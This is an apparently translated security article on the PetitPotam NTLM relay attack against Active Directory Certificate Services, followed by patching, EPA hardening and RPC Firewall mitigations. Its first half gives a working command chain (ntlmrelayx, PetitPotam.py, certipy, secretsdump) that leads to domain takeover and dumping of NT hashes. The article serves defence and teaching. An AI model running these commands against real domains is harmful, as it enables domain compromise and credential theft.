Petit Potam translated from French means little hippo.
In order to explain the Petit Potam attack, let's first go into the essentials.
Using the Petit Potam vulnerability published by @topotam77 in July 2021 (CVE-2021-36942), a successful takeover of a Windows domain is possible. The vulnerability is aimed at the Active Directory, more precisely at the Microsoft Active Directory Certificate Services (ADCS), including domain controllers using an NTLM relay.
Most companies use the Active Directory Certificate Services mentioned in the section above, ADCS for short from Microsoft. This is a Public Key Infrastructure (PKI)-Server responsible for creating certificates in a domain. Using a wide variety of methods, it is possible to authenticate oneself within a domain using issued certificates and even to take it over.
It uses the MS-RPRN print API's "RpcRemoteFindFirstPrinterChangeNotification" to trick the domain controller into authenticating with malicious clients. The intercepted authentication is then forwarded to Active Directory Certificate Services using an NTLM relay attack over HTTP. After authentication, the certificate service sends a valid domain controller certificate back to the attacker.
nmap -sS <DC-IP>
Once the domain controller and the CA Server (Certificate Authority) identified, a relay attack can be performed using IMPACKET's NTLMRelayx tool in combination with the PoC (PetitPotam.py) provided by Gilles Lionel.
ntlmrelayx.py -t http://<FQDN-ADCS>/certsrv -smb2support --adcs --template DomainController
petitpotam.py <Lokale-IP> <DC-IP>
It is important that the relay attack (see figure on the right) is started first and then the PetitPotam (EfsRpcOpenFileRaw) is executed.
It should be noted that with the PetitPotam (see left-hand side, figure) you must first enter your own IP and then the IP of the domain controller.
If the relay was successful, the certificate authority server sends the supposedly requested certificate from the domain controller. The certificate can then be saved using any text editor. The saved certificate must be decoded from Base64 and saved as a pfx file. If the DomainController certificate does not work, the DomainControllerAuthentication can be used. The names of the certificate templates also work in a German AD.
cat <Base64Zertifikat> | base64 -d > <Zertifikat>.pfx
Afterwards it can Ticket Granting Ticket (TGT) can be requested using the "certipy" tool. The "auth" stands for "authenticate". The previously saved certificate (pfx) is used for authentication.
certipy auth -pfx <Zertifikat>.pfx
If the authentication was successful, you will receive the NT hash and the ticket granting ticket in a ccache file, with which you can, for example, carry out a SecretDump to get further user data.
KRB5CCNAME=/path/to/ccache impacket-secretsdump -just-dc-ntlm <domäne>/<DC-Hostname>$@<DC-FQDN> -k -no-pass
The patch from Microsoft is of course the first and easiest option. The first patch did not fully close the gap. But Microsoft made improvements in May 2022 and "Patch Tuesday" came Next try, which looks good so far, but unfortunately can cause problems in some environments. Microsoft covers the topic in this Post and in this one KB article.
After the patch, the attack then looks like none of the requests go through.
As one of the first further measures you should ask yourself whether web registration is required at all or whether it can be implemented more elegantly with the help of Powershell or the management console. The Certificate Authority web enrollment is almost 20 years old and was last modified with the release of Windows Server 2003.
As an additional measure, hardening of the ADCS and the certificate templates is recommended. Unneeded certificates should no longer be published and the other certificates should require Certification Manager approval. This increases the administrative effort, since the certificates are no longer distributed automatically.
If the web service (Certificate Authority Web Enrollment, Certificate Enrollment Web Service) is used, the steps from this KB article to be executed. Here is a summary of what to do.
Deactivate HTTP and use HTTPS, since you practically have a CA, you can use it to create the appropriate web server certificates and integrate them into IIS.
Then the Extended Protection for Authentication (EPA) set to "Require".
This must be done for the "Certificate Authority Web Enrollment" and the "Certificate Enrollment Web Service".
The web.config must also be edited for the "Certificate Enrollment Web Service" (CES).
<%windir%>\systemdata\CES\<CA Name>_CES_Kerberos\web.config
<binding name="TransportWithHeaderClientAuth">
<security mode="Transport">
<transport clientCredentialType="Windows">
<extendedProtectionPolicy policyEnforcement="Always" />
</transport>
<message clientCredentialType="None" establishSecurityContext="false" negotiateServiceCredential="false" />
</security>
<readerQuotas maxStringContentLength="131072" />
</binding>
Line 4 needs to be added or changed to "Always".
Finally, the web server must be restarted.
iisreset /restart
Further measures such as disabling NTLM-based login, RPC net filter or the RPC Firewall of course increase safety.
Attacks on the CA and web server should be visible via failed logins and failed certificate requests. Since the logging of RPC requests in Windows does not always work fully, some requests may go unnoticed. The RPCFirewall would help here because it writes its own log.
Event Viewer -> Applications and Services Logs -> RPCFW
Event Viewer -> Security-> RPCFW [ID 5712]
After making the above settings and installing the patches, you may find that there are attackers in your network. In this case, we advise you to document as much as possible and, if necessary, seek professional help.
As previously mentioned, the May patch is good and protects, unfortunately only from the "unauthenticated" variant. That means as soon as the attacker gets a user of any kind (user/computer/administrator), the attack works again. Microsoft will probably not patch that either, since it can be a deliberate action.
Here you can Zero Networks RPC Firewall help, which can completely block the RPC call and documents it in its own event log.
The installation files can be taken from the github repository downloaded and unpacked into the desired program folder.
The installation itself is done via the CMD.
The following command must then be executed in the RPCFirewall program folder that you have created yourself:
RpcFwManager.exe /install
The folder also contains the configuration for the RPCFirewall and RPCFilter, which are set by the Example configuration from Github can be expanded. Here, for example, the DCs must be entered for the dcsync.
fw:uuid:e3514235-4b06-11d1-ab04-00c04fc2dcd2 addr:<dc_addr1> action:allow audit:true
fw:uuid:e3514235-4b06-11d1-ab04-00c04fc2dcd2 addr:<dc_addr2> action:allow audit:true
The following uuids are responsible for PetitPotam:
flt:action:block audit:true uuid:df1941c5-fe89-4e79-bf10-463657acf44d
flt:action:block audit:true uuid:c681d488-d850-11d0-8c52-00c04fd90f7e
After the adjustments, the RPCFirewall must be restarted.
RpcFwManager.exe /stop
RpcFwManager.exe /start
With version 2, the RPC firewall is also persistent across restarts.
As soon as the configuration is active, the PetitPotam no longer works, even authenticated.
Of course, there are other variants to prevent this attack. The option shown here is relatively easy to implement and freely available as an open source project.
